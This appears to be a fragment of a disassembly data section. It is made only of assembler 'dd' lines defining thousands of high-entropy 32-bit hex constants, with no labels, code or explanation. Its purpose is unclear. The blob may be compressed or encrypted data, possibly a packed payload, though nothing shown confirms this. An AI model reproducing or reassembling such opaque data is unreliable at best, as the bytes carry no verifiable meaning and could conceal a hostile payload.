		dd 583F88Dh, 1E8D7721h,	0B1EFA283h, 0F3A5EAFh, 7F0EDCDh
		dd 71B65266h, 262D2793h, 3E25D12h, 584A14CDh, 6A7768F8h
		dd 61775697h, 0CA8F0D56h, 2A6CD0FFh, 38CDDC97h,	9BA414E5h
		dd 0D5C500C6h, 977B720h, 7A59D9B7h, 3500F372h, 7BB73BF9h
		dd 0A8BF61E9h, 28673094h, 0CC31215h, 23C5081h, 39146F3Eh
		dd 2DBE4580h, 58BB585Ah, 0B5053F4Dh, 88D4A911h,	2B09C280h
		dd 5A4AAD65h, 0FB088293h, 12DB2CDFh, 7933E313h,	0E5B5C7EEh
		dd 0B933A5C9h, 4D5BBE5h, 97EFD3C1h, 7E01BA01h, 125F90A3h
		dd 14C20910h, 0F0B544CEh, 2C151AD6h, 897D9937h,	4745D133h
		dd 53CBD5D8h, 0ABCC56DDh, 4FFEF5CCh, 3B809DA1h,	0BEE47F21h
		dd 0E5781E7Fh, 0F704FD78h, 4963BB5Dh, 8C86FDBAh, 7450E841h
		dd 0EA9E4EB7h, 73CA35C2h, 20A81DA0h, 5C8BF04h, 0E5FA7F39h
		dd 0EFF742B0h, 0DB5D0C87h, 9031EC7Fh, 61E01607h, 0CB31292h
		dd 68F5476Dh, 0D39F2876h, 12CB3C6Ah, 0DBA3BE44h, 0C75FE982h
		dd 5BA094FDh, 0D45264EBh, 0C78D815Bh, 3C8C79D4h, 866C27D3h
		dd 163150BFh, 340CE868h, 0A6379543h, 0E6101618h, 2CA088A4h
		dd 0FF71165h, 17708D92h, 526032BEh, 7DAA34C6h, 31F12525h
		dd 0D459BE18h, 283C462Ch, 0AB1680A4h, 0C4C766A8h, 53298FDAh
		dd 0FE97ACCFh, 0E901F401h, 8957BA67h, 970B8260h, 6B0BBD31h
		dd 0F509A077h, 0B5CFDB96h, 0AA51D985h, 0A15909C8h, 43B22592h
		dd 0D25F5A97h, 1A58B7FEh, 5CAF20h, 5E0D148h, 0CC562186h
		dd 27D1D095h, 0FE5AFBC9h, 2FB7DC5Ch, 2D62E141h,	0E908B46Ah
		dd 17901859h, 7867F868h, 5D35CF82h, 321684E6h, 9CB8FEFCh
		dd 12EEF284h, 0AF81101h, 0B353EEFh, 0D60B98F8h,	5091B81Ch
		dd 731F3067h, 628D6958h, 0F693D732h, 5BD10B5Fh,	1163CEFCh
		dd 0F6A76E3h, 70B551E7h, 0D8F44449h, 6EBDEA93h,	9E515E2Fh
		dd 204358AFh, 0C10FAC6Fh, 255603EDh, 93507724h,	2FB0485h
		dd 0B0EC3DC5h, 16D51D50h, 320B639h, 0CC0D0E76h,	0D4F9E9F8h
		dd 50CC9897h, 98799754h, 77AABE60h, 0E9225075h,	30151734h
		dd 0F4D9016Bh, 6E103E74h, 0F84A6BB3h, 26E93D75h, 13BFB4AAh
		dd 0D5A58C5Dh, 8A7C6221h, 0F15E5925h, 0DA2738C0h, 70088172h
		dd 0C940ED46h, 0A46409B8h, 4BABD559h, 53D68FDh,	0B277D7Dh
		dd 902D5B6Ah, 0BF729C84h, 5AB5E85h, 0E9FEBD97h,	99688227h
		dd 27044C25h, 0C2474876h, 6DE95E81h, 0E66BFEE0h, 0E261133h
		dd 0EEA2F504h, 0F88A94BCh, 0A7144888h, 5A6C02C2h, 295E2EE4h
		dd 7B06818Bh, 2B5A3CFDh, 0C42EACA5h, 8D64CFh, 2F59FAE1h
		dd 0E74BC10Ah, 0C70039ADh, 1B68300Ch, 0F05957E9h, 4D2D78C1h
		dd 0DCC5926h, 3B799B16h, 96AE7E84h, 0DA950CF5h,	685B4801h
		dd 884A1420h, 6AFDD2EFh, 0D5C96AF5h, 981DC640h,	4AF1DBC0h
		dd 0B7E329C6h, 9982317Ch, 4038D37Dh, 2EA1720Dh,	16318F9Fh
		dd 8689BEC4h, 1097BC31h, 0A9F55758h, 0E40A76B5h, 0A9342B36h
		dd 10EC9C20h, 0F660A9A9h, 0CC0B50D9h, 69CB7F08h, 97583991h
		dd 0B5FDD108h, 5034B980h, 729F20F1h, 29E9044Dh,	81D1E8B3h
		dd 0A0B9F60Eh, 0C34CC657h, 0ACDF17CFh, 0C4FF3617h, 0F1B68493h
		dd 457BE04h, 4E012BD7h,	0ED4AD7A3h, 16A7052Fh, 16EE6DF8h
		dd 7EB6006Bh, 0F491B84Ch, 0E97CC805h, 31EBAEE8h, 6A0FA459h
		dd 9C25D28h, 256220F8h,	876287Dh, 6D02D826h, 7A367C78h
		dd 9E287A2Ah, 0AB024963h, 0BA07D3E4h, 1301559Ch, 40A31FAh
		dd 0A5695Dh, 965885BFh,	8F70B57Ch, 5F28E707h, 16F64F6h
		dd 24420BFCh, 0D5E93A89h, 0C79767F0h, 36F7A788h, 0FC294FCEh
		dd 0A0D45939h, 0B7FDBAE9h, 2D3F6BE7h, 408DC2AAh, 2D0D8745h
		dd 905C07C1h, 50090BC8h, 0A12CF7B8h, 451B4918h,	95297BE1h
		dd 5558080Bh, 2227D19Dh, 77BE2510h, 0A3C57214h,	8ABAF586h
		dd 0F7BF1A4Eh, 5DF60B33h, 0D98979AFh, 2EB3627Eh, 7320D14Dh
		dd 0A0F1A220h, 0B5C3E907h, 0F175E909h, 4ACE6C59h, 8E9550Ah
		dd 8A08329h, 9F5201A0h,	89E999B4h, 4C1A555Ch, 3F6AE8F5h
		dd 617EBCF7h, 2B199768h, 80BB1F65h, 3A740A2Dh, 0FABD2902h
		dd 0DFD6C58Bh, 95B02C82h, 0E05EB30Bh, 5F700CFAh, 41D9BD1Ah
		dd 9CAA2008h, 8459B84Ch, 94104C63h, 23BD1F78h, 32C83131h
		dd 415E028Ch, 69F07E2h,	72950903h, 660A90F7h, 0F00FDF2Ah
		dd 0D93634E2h, 70F02F4Bh, 26C918CFh, 2AD492D0h,	1203C7Dh
		dd 5B0881D9h, 5BADA62Ah, 51C761FCh, 0ACB394E9h,	3B91D6B2h
		dd 0C92AD572h, 0CE40432Fh, 0C8F5EED2h, 3035FFh,	2D228C2Ch
		dd 0F8F93F83h, 2915E0BFh, 685E09F0h, 4AF9037Fh,	0A6E01293h
		dd 3DA3040Dh, 0C1973C36h, 0C8F8317Ch, 0A55BE9C7h, 0E5809E03h
		dd 0D585C134h, 0C39A406Bh, 0E67A223Bh, 17128098h, 1D00D13Ah
		dd 0E53570F1h, 0CB29245Bh
		dd 0AFF30136h, 7E047F57h, 0E1905FFCh, 1572E104h, 20CEEB7Dh
		dd 3CD1B95Fh, 5B32DF21h, 5DA76969h, 0BACB7330h,	0FA6871CCh
		dd 0BB5F4B67h, 6091F3Dh, 0E6BFDE96h, 27AA1C28h,	4A47D727h
		dd 282831Dh, 0DF20DDE9h, 0F2CF0FD1h, 0C151B4AAh, 0D654025Ch
		dd 3AF1690Ch, 3FE4ED40h, 42CA2466h, 45CE083Eh, 0A224B81Ch
		dd 0DC905164h, 3293537Fh, 30628F4Bh, 82580884h,	0C107F448h
		dd 0A0C90B67h, 3D1C7901h, 0B31EBF06h, 9CBA72CAh, 40697B27h
		dd 0F4521BF3h, 0BA685917h, 179460AAh, 254FDD55h, 0D748E1B8h
		dd 0A7321B81h, 0BCC27E5Fh, 0BD636878h, 271E13C6h, 17B5C179h
		dd 9933FDCh, 12942DC3h,	29D70462h, 0CF33C124h, 0F75B0EC7h
		dd 3D4F1330h, 0DAFC557Dh, 8E47263h, 29F6EBD2h, 0D9675D27h
		dd 4E645213h, 2A58ECC1h, 0C1898702h, 6D0B407Fh,	0EBB72DEDh
		dd 56973254h, 0AEF4BBA9h, 0C5DFE3E6h, 44152968h, 0FA3B43B9h
		dd 0B7C3A188h, 7E447B74h, 2B85C490h, 0CF4E4502h, 6C9171F1h
		dd 0D08C9640h, 11963168h, 39F8D5Dh, 70C6B150h, 0E7BE0C81h
		dd 201A6723h, 0DD4E33Dh, 5FF02099h, 0AA31C458h,	6BF32549h
		dd 0AE6A4E25h, 582583CBh, 7D21B8CDh, 0FF13372Ch, 6ACF2DBAh
		dd 0EDA41BECh, 5EB0A4A9h, 3C284A50h, 68155B9Ah,	10842B05h
		dd 660729A0h, 3FE68858h, 4E0BC4Bh, 0B43E5052h, 0ADE23F40h
		dd 95255720h, 0BF99417Eh, 3B4C4003h, 1E4B8F0h, 0E9068B15h
		dd 7FFEDE5Dh, 40049788h, 0A01D05E1h, 57ED7EAFh,	49024FB8h
		dd 0A6005F91h, 682FBA29h, 9D6170D2h, 0D4E92E74h, 0C9D4083Fh
		dd 0CA8D6327h, 0F296CCF0h, 21476F18h, 811F6DECh, 2BB3EE03h
		dd 0E1560C20h, 0B33A5323h, 59CD1360h, 469CCCBAh, 0C13BB665h
		dd 923DA7BEh, 560A2B02h, 35BBA853h, 4534AD3Fh, 13CEA70Bh
		dd 0DD9E6827h, 15601412h, 7EE76608h, 80044EB0h,	0D107EB81h
		dd 4B795D3Ah, 95A36CC6h, 0B4EF6DBBh, 38CCEEB8h,	586B40E4h
		dd 6817C6FAh, 9761679Fh, 0CA2CD9B5h, 16C0099Eh,	0A25D6CDDh
		dd 4D745575h, 98E2582Fh, 0C0A42EC3h, 7334034h, 1F6379Ah
		dd 30E44E4Bh, 0B779BD0Dh, 0CBF58100h, 0B8AC7FB1h, 0FC3F4EA8h
		dd 4768E0D6h, 82019158h, 51D8E954h, 10CF207Dh, 0BF3B9472h
		dd 0C7F3B6C2h, 68353103h, 62EEF25Bh, 0D2FD0012h, 0B005221Eh
		dd 31AE0F53h, 0CE8C1052h, 18C17BF1h, 0F039CD4Bh, 3E66A82Eh
		dd 67F1004Ah, 7C114E2Dh, 10BDEA36h, 0B65BE74h, 55E764B9h
		dd 0D0B89F60h, 6A8B1A9Dh, 0BBC7DD01h, 5E074209h, 0BF5780DBh
		dd 31670C59h, 6F0BA790h, 5F2D9DDEh, 58FF43EAh, 0FFFF82BDh
		dd 0D590C958h, 54216E1h, 5B95399Dh, 830904Fh, 0E90B1C41h
		dd 0EEFED140h, 6CF20405h, 0A859061Ah, 41EBA4C9h, 0E9CA319Ch
		dd 95007F67h, 0C05BDA88h, 0B1085BEAh, 0B51220C8h, 53B1A6B0h
		dd 5298680Eh, 0B300B1E3h, 0E933051Ah, 2BB510BEh, 8A146A3Bh
		dd 318B6013h, 0BF0257C8h, 0E0D6B786h, 0A9960B4Fh, 9A00FDBDh
		dd 0F4889FF6h, 0A6AEC9F9h, 288BE419h, 0F16FD67h, 0DA4BE92Fh
		dd 1BE8E07Dh, 0AAAB551h, 706CB3C5h, 0B252D802h,	0E819E95Bh
		dd 5AD468FFh, 2383B47Dh, 1F3E1341h, 0D318E56h, 5CBEE17h
		dd 0BCDEE909h, 3B5FA819h, 74CC47F3h, 0A6316857h, 3CD67761h
		dd 7B565DC2h, 27B5F95Bh, 55288C23h, 60BC0CFFh, 0C10C7D38h
		dd 47B5450Fh, 9F5041BDh, 0A26F319Ch, 7FDD7E7h, 7E34D110h
		dd 12F4C507h, 0F5E764EEh, 816ED85h, 0F4E5271Eh,	5466EF5Fh
		dd 0E4B51621h, 0B3AC1630h, 0FD8CFAFEh, 6F654115h, 0ABA5F0A8h
		dd 25E9209Ch, 9D202DABh, 2879CFEAh, 190C7664h, 0F6628BC2h
		dd 0D008A0DEh, 0BC4E140Ch, 0FC7B0B36h, 0E5E5FDFEh, 55C36D93h
		dd 0D7F8E25Dh, 0F02CF89Ch, 8F6364C2h, 1F3A6E47h, 0AB738B0Fh
		dd 6EF48371h, 0F0C10304h, 5082015Dh, 1CDF9960h,	0F6360C2Fh
		dd 209280CBh, 0ADE92631h, 0DFFF7226h, 0B101775Ah, 2F2DB141h
		dd 0A1EEFAA0h, 996B5F08h, 660CB6B5h, 0A840D238h, 0FE17130Ah
		dd 0B9280DF2h, 0C129275Dh, 0E08F57Ch, 0F6E3817Eh, 0F90DF30Fh
		dd 0D89131EBh, 0BE097ABCh, 29A5E949h, 0DC4D09C8h, 295D84D8h
		dd 101FBDCFh, 90BEBA9h,	27F958C7h, 0DF00CFA0h, 915AD230h
		dd 0C0794DE9h, 6EEEB75h, 7F9512A2h, 0E0685B38h,	0F7C451EFh
		dd 34AD2E83h, 3FA72DD3h, 0EC535165h, 4C712BBBh,	0C2AA707Ch
		dd 0CF4D825Fh, 5B5709CAh, 0C4003CE2h, 5E2E4F69h, 0F733D687h
		dd 0BB4E08D2h, 2FD3BADEh, 36CD00B3h, 29D1B096h,	7D296BF1h
		dd 35C38C00h, 2285CE9h,	4F7A8000h, 53D9F720h, 30942BF6h
		dd 0C4043501h, 0B16CBF50h, 89CCF94Bh, 0EAFFE87Ah, 664E12ACh
		dd 6B1AA78h, 70B30805h,	23122458h, 0EFE4D8EBh, 0A2517765h
		dd 0B94FB9BCh, 2DAFF4E2h, 25D72208h, 553CC2E7h,	757A10F4h
		dd 0E9E13D56h, 3689789Bh, 6700A0B8h, 38E52550h,	0B43A642Ch
		dd 3E133300h, 0B5FECBE9h, 7F950164h, 759008Bh, 77BFCB0Bh
		dd 0DFC092h, 4C7D7334h,	98017A3Eh, 0FE5F494Fh, 4CA8C5Eh
		dd 6331457Eh, 0FA89BD76h, 5F95C16Ah, 6FB2E2Dh, 6639058Dh
		dd 80A178B5h, 3D08BBF3h, 48271459h, 85043983h, 6A6A93B9h
		dd 135923CAh, 55C5A810h, 99E32E9Fh, 0D0C2E985h,	3C8468D7h
		dd 16EFB95h, 407C45E2h,	0B2FC6A31h, 0ABDBEE4h, 41A12385h
		dd 0EDE1AEB0h, 0DDC46E1Ah, 40521CAAh, 3CDBF681h, 0E6EC02B6h
		dd 74666F02h, 0DCB4E90Ah, 0C80F0176h, 3B0B7368h, 0B0B6A431h
		dd 0F701CC89h, 35086775h, 282DFE0Ch, 0B3AABD14h, 518E33ACh
		dd 0B588B35Ch, 7BC93AACh, 33FD64D0h, 2E804B9Ch,	0A38B0BFBh
		dd 97C4ADB1h, 57E90802h, 0B5C49634h, 0E9C28B7Eh, 0F9C7F098h
		dd 0F038BF3Bh, 0AEA4D701h, 22C63208h, 3E5BB5E8h, 58AEEE17h
		dd 66E91E8Dh, 93EC904Eh, 0C0B2C3A7h, 0DDADDC26h, 0BA48F500h
		dd 94D8294Dh, 0E17F27A9h, 633A5C6Fh, 0B3848E5Fh, 0E65DCCEFh
		dd 5306179Dh, 5701BF51h, 0E764132Dh, 0CE60FFE2h, 0BDF64505h
		dd 5A004748h, 4EE9D398h, 5E57C25Bh, 0A22E84F5h,	838E8757h
		dd 973F532Fh, 0B71E9257h, 0A43F18CDh, 680452C2h, 374D4925h
		dd 54F24480h, 6E4F0261h, 0C1E9D789h, 3AB9E8E9h,	30E944FFh
		dd 0B1B6FF45h, 9F79CB40h, 6C29BA19h, 90BF0389h,	0CF7D5802h
		dd 4A8E5F86h, 0FF4317E2h, 602B225h, 0F4D36247h,	0A2723CD4h
		dd 7F805708h, 0FF8231E9h, 8CBEF5CAh, 2ADB214h, 2859CCC6h
		dd 9A505F7Fh, 2D418D48h, 3549F278h, 823B0D7Eh, 7FDCBE70h
		dd 0E2FAC4C5h, 50369A2Bh, 0CB8101B3h, 5AD429DBh, 0D426314Bh
		dd 3D5F1A57h, 34EF4BCh,	252478F2h, 49F79A04h, 0EAA85898h
		dd 13E80CD8h, 0E9DC8714h, 0E0FD5BF2h, 0A488EED7h, 9AE5DE0h
		dd 0FC60835Ah, 0CFB007C4h, 0BAD703F5h, 85E9B44Eh, 41BE8D88h
		dd 1C45BAA5h, 0ECC86A6Bh, 2A2213AFh, 5D1E010Dh,	6B88E766h
		dd 247B5A48h, 0EF0D1277h, 0A4F1C497h, 0D0ED66C0h, 0EF95856Bh
		dd 5D43332Dh, 38C3D412h, 0FE35F48Bh, 96163244h,	0B78192B8h
		dd 0F4F7804Bh, 576EFC0h, 0E936CF05h, 0DEBC2A5Ah, 0ABEB86C4h
		dd 2557693Ch, 6E50CF89h, 0C2177F80h, 0CBA83F91h, 0D2B81022h
		dd 2064FE14h, 0B5A3ECBBh, 0E9F060AFh, 6E96C4D1h, 2588B667h
		dd 45E6CC60h, 60B56070h, 0A1110BFh, 44E934B7h, 0C983BDD5h
		dd 5514436Ch, 686391D9h, 74DF83EFh, 0D2BBB053h,	0F314C270h
		dd 7E7836h, 8EFB7434h, 57494A1Bh, 8A0B5565h, 0F6ADAFD1h
		dd 7ED75C95h, 0BAD238A7h
		dd 0AD9D5A21h, 8006E801h, 6B748A35h, 14B89037h,	4F810F50h
		dd 5BD38B01h, 0EFC0805Eh, 66D57C10h, 0C0C76028h, 0D0D8B327h
		dd 0E838EEDAh, 77C700ABh, 73B01335h, 0FBCC4866h, 4502CE00h
		dd 85B9617Dh, 0F09A3BEh, 0F8A51082h, 0B7360AFFh, 8E9E5FBAh
		dd 0EF816B06h, 0CBC15AF9h, 0B5E2160Fh, 0B8F7E0EDh, 3018143Ch
		dd 0B1430DE8h, 300276Eh, 0B44A7E80h, 6969443h, 0F53AFDCh
		dd 58E0278Bh, 0C705E290h, 28A3BBDAh, 57C3C100h,	138F08B4h
		dd 0F8CB8006h, 703906E0h, 7E7A2AA1h, 81BB50CAh,	6017CA35h
		dd 0A44B1DF6h, 9A5D3097h, 11001E62h, 0D0C869A6h, 0F4491AAh
		dd 0D5DE5B9Fh, 0F32FFC0h, 61F2FBBFh, 1E9831Eh, 4C48512h
		dd 0A040580h, 297072Ah,	0DFD2C8h, 0A6B95F7Dh, 2B785B00h
		dd 0D82A9DE7h, 368790Fh, 6C5D0CC7h, 0B6E0EFE5h,	66000997h
		dd 6007C35Eh, 0F3E7237Eh, 4D35094h, 0EE6C0CBBh,	0C1911052h
		dd 3337C0BEh, 2A0FF012h, 0A27A2F07h, 9B878D50h,	92D394C0h
		dd 0C1713274h, 48102E28h, 86F89A5h, 0BA734455h,	0AECF2284h
		dd 448008FDh, 4D88D674h, 61FD0091h, 6D08323Fh, 31583D5Ch
		dd 395900B9h, 51F02B1Dh, 2E7FFEh, 1242E0F7h, 0AA99F5E2h
		dd 0F1CFDA02h, 40B1B2C1h, 1C50A67Ch, 371D10h, 0F9A39CBCh
		dd 483F4340h, 11878FDBh, 0EFBD606Ch, 38F2CBE8h,	0F781F5DEh
		dd 5F7004AAh, 85A03BF6h, 147C2716h, 713D1D58h, 45E872F4h
		dd 808E1A00h, 2A1710A0h, 69400C2h, 5155ABD0h, 0F13BDE6Bh
		dd 750180C4h, 97408766h, 9B9400FBh, 0E2D433C7h,	2800A5BFh
		dd 6FBAEF6Dh, 31917A7h,	2F5C0CD6h, 0D0A00D14h, 0E30C1168h
		dd 386569B4h, 2A752Ch, 0B2504B31h, 51328E57h, 0B600F871h
		dd 61DE5E91h, 3EB5B88Bh, 7400BC23h, 126DCE89h, 0DB037A4Ah
		dd 0F4A046B2h, 0D9B9D8D4h, 3D28003Fh, 840B779Dh, 10908E65h
		dd 4B8A1D01h, 1FA145B6h, 3C3AC8h, 5415667Bh, 6DBF4C91h
		dd 0BE516E00h, 0D80CD567h, 19B80001h, 0E46128F0h, 87003209h
		dd 5D6DDC4h, 9A9921h, 279017CEh, 2C81E396h, 0CF37A100h
		dd 6304223Dh, 0FE3CC00Bh, 0A174952h, 4ED4D000h,	62061658h
		dd 7B6E000Eh, 0EAD330D1h, 5F010D6Ch, 4888FFD8h,	0F04036F5h
		dd 77A3AF74h, 0DD180165h, 0FDBD2041h, 0A643C0ADh, 0D68BC300h
		dd 34C7E7CEh, 28C6EA88h, 24D54C92h, 8420CAh, 0C47CD2C1h
		dd 0DF00AFA7h, 0EC8A9D5Fh, 0F6627874h, 79700F8Ch, 55A02919h
		dd 573B4752h, 41DFF903h, 0D8FA222Eh, 10CE0Ah, 0F6E0C68h
		dd 7181B2E5h, 6F356700h, 447F98EFh, 6CA001Eh, 1BDB8663h
		dd 97004C8Bh, 8AD8818Fh, 0FC7D9EA2h, 61E0074h, 0FC674945h
		dd 6D0093FAh, 0F070D0Ah, 0EB23B73Fh, 9DEE424h, 63C9224Eh
		dd 92374820h, 0A748CC86h, 0DED500E9h, 9F54CB06h, 2B885851h
		dd 94830072h, 8BACB2BEh, 0C3000678h, 6562F9A0h,	0F2C56BC0h
		dd 40D8485Eh, 3D591000h, 2DABFB50h, 886FBB00h, 0B7CE86C8h
		dd 0B0A62567h, 0F800DB70h, 1A019D75h, 0BC833h, 0BDD304A1h
		dd 170DB31Bh, 0C6217C03h, 7C16208h, 0DC5209D8h,	5803E07Fh
		dd 34002C0Ah, 40EC87A4h, 0ACCAE9h, 2B6770B8h, 0E6F25204h
		dd 0C58D580Fh, 0D96EA0CFh, 0C2D2C9h, 0BBE2AF18h, 3EBCFEEAh
		dd 0B0F4CDF6h, 8C112814h, 2EC70090h, 752047F0h,	0DFCC040Ah
		dd 40ECFAB6h, 809F4669h, 0EF2000D1h, 0F093EE0Bh, 0F404EAB0h
		dd 6405253Ah, 3349C3BEh, 594E0B80h, 0C31C2000h,	59161C4h
		dd 0BC0D0E3Ch, 0A4B2F42h, 5AD28700h, 2B00EAA2h,	0FA321CD4h
		dd 0A83EDAh, 58EF02B9h,	0FE8D5289h, 29AF39h, 28A157DCh
		dd 241DC4h, 0F696CE40h,	0E01B60C7h, 0D4364Ch, 555C4F08h
		dd 3B729B4h, 0D03D1970h, 0E7E8BFF9h, 0EA0E6A1Fh, 0F7530F7h
		dd 0C3FFAFA3h, 9016D191h, 1ECEB3Ah, 408F64D6h, 0CC0CFEBBh
		dd 0AD002252h, 6EB3D401h, 7096F2h, 8E78DC8Dh, 5ED50FEBh
		dd 0B9DFB200h, 0B127BA3Ah, 0ECC0013h, 0F1CB6C20h, 0F60F16DDh
		dd 409FA69Ah, 1AD5646Eh, 36760013h, 0AFD12FB1h,	10098401h
		dd 6B2962Ah, 16DD7Ch, 9BD5E099h, 751AB8B9h, 4D0FC900h
		dd 48561843h, 264E7030h, 0A4414Ch, 49DC788Dh, 400566B6h
		dd 12EBC5A0h, 0E1F660C0h, 20FE00B2h, 95FA3FFCh,	8800930Ah
		dd 327B3E72h, 0B8B50FBh, 9419DCA6h, 2880A086h, 0F1680B07h
		dd 2D20AEBBh, 9B697Bh, 7D0EC817h, 983AAC2Bh, 7213D400h
		dd 57076216h, 67CE447h,	38F1AA8Ch, 560049E0h, 9262D43Bh
		dd 0A7A81Bh, 4E08E78Dh,	0F1D6150Fh, 9E739504h, 8480AB94h
		dd 981BB765h, 2BB80030h, 6D81DDE2h, 8C033F40h, 804C453Ch
		dd 0BB3E80ACh, 2D330948h, 70801065h, 0B4DEBCE3h, 4CF01D00h
		dd 3A09082h, 790624D4h,	544000ACh, 6CA9E5DAh, 9F50548h
		dd 0EE374Fh, 0A7A58B59h, 3FFA7C34h, 4E002542h, 4A91559Dh
		dd 0FF907A8Fh, 33EACDB0h, 0EA6E3903h, 0D9FEC971h, 0D7E1BA2Ch
		dd 6C48C4h, 7FCC18C5h, 0EA17B63Dh, 5D00247Ah, 419A58D2h
		dd 1012D4Fh, 78C1191Ch,	0ECE62ADDh, 0A024D5Fh, 7922F3B5h
		dd 0A15460CFh, 7DD1007Eh, 60F4964Bh, 1D002940h,	2545677Ah
		dd 0DC0F51h, 4122A35h, 0EE66FCEBh, 3D1A0D00h, 95E3E705h
		dd 0C5DE009Eh, 549AB8B7h, 0CB903964h, 0FC0BC00h, 24F41765h
		dd 611C000Ah, 0AF7702E7h, 19003A1Fh, 5993E970h,	4CB61812h
		dd 202C88Ch, 1F38A51Ah,	0F2AE8440h, 940BFB77h, 0A3505B2Bh
		dd 0B343B918h, 7993F0ACh, 4C0800F3h, 4B86DE61h,	5D007DCBh
		dd 0B2C25C76h, 0BDD6228h, 0CF6BCA12h, 48932C00h, 1D40A696h
		dd 0F886059Dh, 805B4C78h, 206E6944h, 463854E2h,	1D0C8038h
		dd 790B4D05h, 79EB7B2Eh, 0DBFC582Bh, 7216C600h,	9BAC32DEh
		dd 0DB4AF803h, 4855650h, 0BC3A1C8h, 0A6B09199h,	76F0DF09h
		dd 8B582F05h, 0EBA20008h, 41D20DAh, 1F91FCCDh, 0C035B54Fh
		dd 50740A68h, 45396563h, 0CF1182D6h, 0C006490Ch, 0B154D3D3h
		dd 0C6C800D4h, 6712F795h, 58113100h, 0BAB986BDh, 3CAB00C3h
		dd 0E802D496h, 50D4DBA5h, 61E201C2h, 51E0DD26h,	77DCF4h
		dd 8ABA7173h, 3A7FD537h, 0C4DE4Dh, 0A0870B58h, 0D78B5Ah
		dd 17D0AE53h, 0BD3CF560h, 0D901B00Ch, 0B0A140CBh, 931F0083h
		dd 0F95F8EDDh, 3A03AD35h, 7516D594h, 6E839967h,	801260h
		dd 72D77DDBh, 6B9E6F99h, 3E68A00h, 1BA206BFh, 63CB04AEh
		dd 809FD9AAh, 1C834E82h, 9499500h, 0DF7ADCA8h, 0D451D28h
		dd 9AC200E6h, 0C4F07E6Ah, 77A9C603h, 0D0732139h, 5EEE80Dh
		dd 0C56EE3B6h, 7D3C8089h, 152CAB2Ah, 10378A6h, 0F8DBDC8Bh
		dd 0FAF1F475h, 4E8D001Fh, 0F5471EB9h, 0A100786Ch, 488F7A59h
		dd 0A94401h, 7D23A752h,	78B96576h, 0A0B8CAFCh, 8CF60730h
		dd 24E9BE38h, 80704361h, 31D87BEEh, 0AB001B3Ah,	0C2B2A1BFh
		dd 605C79D7h, 6862B86Ch, 441C964Fh, 64C9610Ch, 794C00A0h
		dd 27AAE95h, 50055CECh,	3CC00B9Ch, 0ECBA0AD4h, 24001D7Eh
		dd 0BD04E165h, 0FDACD8Ch, 33D636D3h, 1EDC31A3h,	0A518A0DCh
		dd 2E9D1B00h, 1863783Fh, 4F940153h, 0F08B09Ah, 88B8205Ah
		dd 47B20701h, 0CB51206h, 1A19270h, 75CEBDFBh, 0E4EBF8B1h
		dd 0EC0027B8h, 556F0DB6h, 0B37FB5Ch, 7BE0FA6Bh,	0FC067780h
		dd 8490DE81h, 0EF2A2600h, 3861F52h, 0C9E1360h, 65CB0066h
		dd 0F93037ADh, 4D3E803h, 0C9741486h, 0A840A2CBh, 47CE7A6h
		dd 0B2549456h, 5F98C0D6h
		dd 21C1599Bh, 0B8EEFDE8h, 38FF6980h, 640F6358h,	495DFB07h
		dd 80391E75h, 9EA5A18h,	44390065h, 0FE460F32h, 8B3957E7h
		dd 51D5B07Eh, 0DF845Ch,	0FF9349C7h, 4E0940E7h, 0B5545B16h
		dd 0CA35F000h, 0BEB00Eh, 0BC25DF7h, 691C39DFh, 4853A405h
		dd 3880442Ah, 0DD9530h,	2959B7AAh, 7167FD0Eh, 4AC00B00h
		dd 0ACA12E14h, 7A700513h, 466D3Bh, 0A81DB9CCh, 0BE00D815h
		dd 0A3BD86B0h, 0BFCD89h, 51B2DF9Eh, 3E9DCCAFh, 721FDA00h
		dd 6971ED13h, 579400ABh, 9E744B49h, 410067ECh, 0F46B267Eh
		dd 2B6FFFh, 1BCD0EA0h, 92BDE14Fh, 5568280Ah, 0D4038C3Bh
		dd 0A02F314Eh, 0B0DCDDCBh, 0B0B700C0h, 6EC04B91h, 0D700FC6Dh
		dd 0B106D118h, 3AE8F8BFh, 3F002711h, 3AE00C2Ah,	0C000131Dh
		dd 2B11207h, 4BF1F3h, 8272791Fh, 7B488445h, 0D3923C00h
		dd 6849B87Ch, 2A1A03C6h, 705213Dh, 35A7A698h, 80550F2Ch
		dd 38815800h, 3C7F7A95h, 0EC807212h, 0F789C7F4h, 0F500A0B9h
		dd 45B5CDD3h, 82DCEFh, 8D326237h, 0B8657AD5h, 2D07AF7Ch
		dd 879E8FA8h, 3B2B11A0h, 34D100A0h, 0B294FD74h,	160E8A73h
		dd 0F22251h, 0C689E52Ah, 75FEE21Fh, 1D170067h, 0BF15A55Dh
		dd 144C2007h, 480800ECh, 0C2E99E10h, 15E7059h, 4AA8D127h
		dd 60C375A3h, 8400E2CCh, 3A32560Ch, 76F89A68h, 0F52F00FCh
		dd 51F62CBEh, 0D200774Dh, 0FD697445h, 0D01580h,	6836304Ch
		dd 4412F83Ch, 0C1AC9800h, 0A5BF86A1h, 0EFCB0097h, 0F1B531EBh
		dd 0DE00AADCh, 0BDD43C11h, 7C00E44h, 2D335D5h, 5725F37Fh
		dd 63A3F280h, 240064F6h, 95E636FDh, 257415E0h, 50807DB2h
		dd 0C53BA3C6h, 0B50042E0h, 637E392Eh, 0F699B3h,	9A0C0AD7h
		dd 85BB083Dh, 0DB819100h, 0B99384CFh, 7356009Dh, 1E0AF925h
		dd 1F75E410h, 0E72D6900h, 0CE8F92F0h, 727E0FD8h, 0BB40B7A2h
		dd 0B2BE6078h, 1091301Fh, 58E18B0Eh, 3B6A0A89h,	0AF806D36h
		dd 0A6EB665Ah, 33003E4Dh, 101F1E56h, 0E89A55CFh, 9E377973h
		dd 0AF9D0394h, 0EBC0B8D0h, 4674B2F7h, 65B8AAEAh, 18C7B4E4h
		dd 0BB40F656h, 253E2E4Eh, 0DC008F18h, 0C09A7AD3h, 22754C1Dh
		dd 0C0BA2133h, 0BA4A9BEDh, 5497148Ch, 0A10138CDh, 296DAFF3h
		dd 9D61D0DBh, 12CF4B00h, 9D9B7EBh, 0D5F80797h, 104E5F02h
		dd 0C176DEC2h, 4C1D3700h, 0D77EEADAh, 0B55000B9h, 617B2C05h
		dd 41041CB4h, 25862B14h, 0E0245AC3h, 0FDB1E95h,	64E35079h
		dd 22A700DEh, 5B9E1774h, 11243800h, 0A1578666h,	330A00D8h
		dd 0F175A770h, 3E0714AAh, 22CF9829h, 0B04705C5h, 0BB915637h
		dd 0C1DBBF81h, 0A3EA4F86h, 3CA41284h, 5307B4E1h, 36867A50h
		dd 93742132h, 476CCD18h, 0A688911h, 22B6CADAh, 1187031Ch
		dd 11073F13h, 409FD5AAh, 6818F26h, 3377A321h, 1702117Ah
